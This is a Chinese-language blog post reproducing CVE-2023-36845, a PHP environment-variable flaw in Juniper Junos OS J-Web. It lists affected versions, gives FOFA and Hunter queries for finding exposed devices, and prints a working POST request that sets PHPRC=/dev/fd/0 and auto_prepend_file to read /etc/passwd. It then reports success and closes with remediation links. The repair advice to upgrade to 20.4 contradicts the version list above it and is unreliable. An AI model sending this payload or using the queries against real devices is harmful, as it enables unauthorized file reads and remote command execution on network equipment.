CVE-2023-36845:Juniper Networks Junos OS EX远程命令执行漏洞

Juniper Networks Junos OS EX远程命令执行漏洞(CVE-2023-36845) 复现

0x01 前言

免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!

0x02 漏洞描述

Juniper Networks Junos OS EX是美国瞻博网络(Juniper Networks)公司的一套专用于该公司的硬件设备的网络操作系统。该操作系统提供了安全编程接口和Junos SDK。

Juniper Networks Junos OS EX存在安全漏洞,该漏洞源于J-Web模块存在PHP外部变量修改漏洞。允许未经身份验证的网络攻击者控制某些重要的环境变量。攻击者利用特制请求可以修改某个PHP环境变量,造成部分完整性损失,这可能允许链接到其他漏洞。

0x03 影响版本

影响以下版本的Juniper Networks Junos OS: 所有版本早于21.4R3-S5;22.1版本早于22.1R3-S4;22.2版本早于22.2R3-S2;22.3版本早于22.3R2-S2、22.3R3-S1;22.4版本早于22.4R2-S1、22.4R3;23.2版本早于23.2R1-S1、23.2R2。

0x04 漏洞环境

FOFA语法:title="Juniper Web Device Manager"

hunter语法:web.title:"Juniper Web Device Manager"

0x05 漏洞复现

1.访问漏洞环境

2.构造POC

POC (POST)

bash 复制代码
POST /?PHPRC=/dev/fd/0 HTTP/1.1
Host: ip:port
Cache-Control: max-age=0
Sec-Ch-Ua: "-Not.A/Brand";v="8", "Chromium";v="102"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9


auto_prepend_file="/etc/passwd"

3.复现

执行/etc/group

漏洞复现执行成功!!!

0x06 修复建议

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

将组件 junos 升级至 20.4 及以上版本

复制代码
 1. https://supportportal.juniper.net/JSA72300
 2. https://packetstormsecurity.com/files/174865/Juniper-SRX-Firewall-EX-Switch-Remote-Code-Execution.html
相关推荐
chilavert31830 分钟前
技术演进中的开发沉思-302计算机原理:网络基础
网络·计算机原理
菩提小狗33 分钟前
Sqlmap双击运行脚本,双击直接打开。
前端·笔记·安全·web安全
PyHaVolask38 分钟前
SQL注入漏洞原理
数据库·sql
Hellc00740 分钟前
Docker网络冲突排查与解决方案:完整指南
网络·docker·容器
眠りたいです1 小时前
Docker核心技术和实现原理第二部分:docker镜像与网络原理
运维·网络·docker·容器
闲人编程1 小时前
消息通知系统实现:构建高可用、可扩展的企业级通知服务
java·服务器·网络·python·消息队列·异步处理·分发器
Xの哲學1 小时前
Linux Platform驱动深度剖析: 从设计思想到实战解析
linux·服务器·网络·算法·边缘计算
ikkkkkkkl1 小时前
计算机网络:物理层
网络·计算机网络·物理层
镜中人★1 小时前
408计算机组成原理考纲知识点
网络·笔记
●VON2 小时前
跨模态暗流:多模态安全攻防全景解析
人工智能·学习·安全·von